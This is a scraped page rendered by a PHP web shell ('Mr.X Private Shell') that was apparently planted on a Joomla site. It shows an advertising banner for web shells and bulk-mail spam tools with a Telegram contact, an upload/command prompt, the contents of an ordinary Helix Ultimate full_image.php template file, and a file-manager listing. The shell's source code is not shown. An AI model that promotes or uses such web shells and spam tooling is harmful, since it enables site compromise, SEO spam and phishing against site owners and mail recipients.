__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Uri\Uri;

$params = $displayData->params;
$attribs = json_decode($displayData->attribs ?? "");

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$tplParams = $template->params;
$og = isset($displayData->enableOpenGraph) ? $displayData->enableOpenGraph : $tplParams->get('og', 0);
$blog_image = $tplParams->get('blog_details_image', 'large');
$full_image = '';

if(isset($attribs->helix_ultimate_image) && $attribs->helix_ultimate_image != '')
{
	if($blog_image == 'default')
	{
		$full_image = $attribs->helix_ultimate_image;
	}
	else
	{
		$full_image = $attribs->helix_ultimate_image;
		$basename = basename($full_image);
		$details_image = JPATH_ROOT . '/' . dirname($full_image) . '/' . File::stripExt($basename) . '_'. $blog_image .'.' . File::getExt($basename);

		if(File::exists($details_image))
		{
			$full_image = Uri::root(true) . '/' . dirname($full_image) . '/' . File::stripExt($basename) . '_'. $blog_image .'.' . File::getExt($basename);
		}
	}
}


?>
<?php if($full_image) : ?>
	<div class="article-full-image">
		<?php
		if (JVERSION >= 4)
		{
			$layoutAttr = [
				'src'      => $full_image,
				'itemprop' => 'image',
				'alt'      => htmlspecialchars(!empty($attribs->helix_ultimate_image_alt_txt) ? $attribs->helix_ultimate_image_alt_txt : $displayData->title, ENT_COMPAT, 'UTF-8'),
			];

			echo LayoutHelper::render('joomla.html.image', $layoutAttr);
		}
		else
		{
		?>
			<img src="<?php echo $full_image; ?>" alt="<?php echo htmlspecialchars(!empty($attribs->helix_ultimate_image_alt_txt) ? $attribs->helix_ultimate_image_alt_txt : $displayData->title, ENT_COMPAT, 'UTF-8'); ?>" itemprop="image">
		<?php
		}
		?>
	</div>
<?php else: ?>
	<?php $images = json_decode($displayData->images ?? ""); ?>
	<?php if (isset($images->image_fulltext) && !empty($images->image_fulltext)) : ?>
		<?php $imgfloat = empty($images->float_fulltext) ? $params->get('float_fulltext') : $images->float_fulltext; ?>
		<div class="article-full-image float-<?php echo htmlspecialchars($imgfloat); ?>">
			<?php 
			if (JVERSION >= 4)
			{
				$layoutAttr = [
					'src'      => htmlspecialchars($images->image_fulltext ?? ""),
					'itemprop' => 'image',
					'alt'      => empty($images->image_fulltext_alt) && empty($images->image_fulltext_alt_empty) ? $displayData->title : $images->image_fulltext_alt,
				];
				if (isset($images->image_fulltext_caption) && $images->image_fulltext_caption !== '') 
				{
					$layoutAttr['class'] = 'caption';
					$layoutAttr['title'] = htmlspecialchars($images->image_fulltext_caption ?? "");
				}

				echo LayoutHelper::render('joomla.html.image', $layoutAttr);
				
				// Image Caption 
				if (isset($images->image_fulltext_caption) && $images->image_fulltext_caption !== '') 
				{ ?>
					<figcaption class="caption"><?php echo $this->escape($images->image_fulltext_caption); ?></figcaption>
				<?php 
				}
			}
			else
			{
			?>
				<img <?php if ($images->image_fulltext_caption) :
				echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_fulltext_caption ?? "") . '"';
				endif; ?>
				src="<?php echo htmlspecialchars($images->image_fulltext ?? ""); ?>" alt="<?php echo empty($images->image_fulltext_alt) && empty($images->image_fulltext_alt_empty) ? $displayData->title : $images->image_fulltext_alt; ?>" itemprop="image">
			<?php 
				// Image Caption
				if (isset($images->image_fulltext_caption) && $images->image_fulltext_caption !== '') 
				{ ?>
					<figcaption class="caption"><?php echo $this->escape($images->image_fulltext_caption); ?></figcaption>
				<?php 
				}
			}
			?>
		</div>
	<?php endif; ?>
<?php endif; ?>

<?php if($og) : ?>
	<?php 
		if (empty($full_image)) 
		{
			$full_image = $images->image_fulltext ?? $images->image_intro;
		}
	?>
	<?php echo LayoutHelper::render('joomla.content.open_graph', array('image'=>$full_image, 'title'=>$displayData->title, 'fb_app_id'=>$tplParams->get('og_fb_id'), 'twitter_site'=>$tplParams->get('og_twitter_site'), 'content'=>$displayData->introtext)); ?>
<?php endif; ?>

Filemanager

Name Type Size Permission Actions
blog Folder 0775
icons Folder 0775
info_block Folder 0775
associations.php File 512 B 0664
blog_style_default_item_title.php File 2.11 KB 0664
blog_style_default_links.php File 606 B 0664
categories_default.php File 1.22 KB 0664
categories_default_items.php File 689 B 0664
category_default.php File 3.57 KB 0664
full_image.php File 4.28 KB 0664
info_block.php File 2.38 KB 0664
intro_image.php File 6 KB 0664
intro_info_block.php File 1.97 KB 0664
language.php File 766 B 0664
open_graph.php File 1.73 KB 0664
options_default.php File 1.67 KB 0664
rating.php File 1.07 KB 0664
readmore.php File 1.98 KB 0664
related_article.php File 1.88 KB 0664
related_article_large.php File 2.18 KB 0664
related_articles.php File 1.9 KB 0664
social_share.php File 2.68 KB 0664
tags.php File 1.26 KB 0664
text_filters.php File 1.27 KB 0664
Filemanager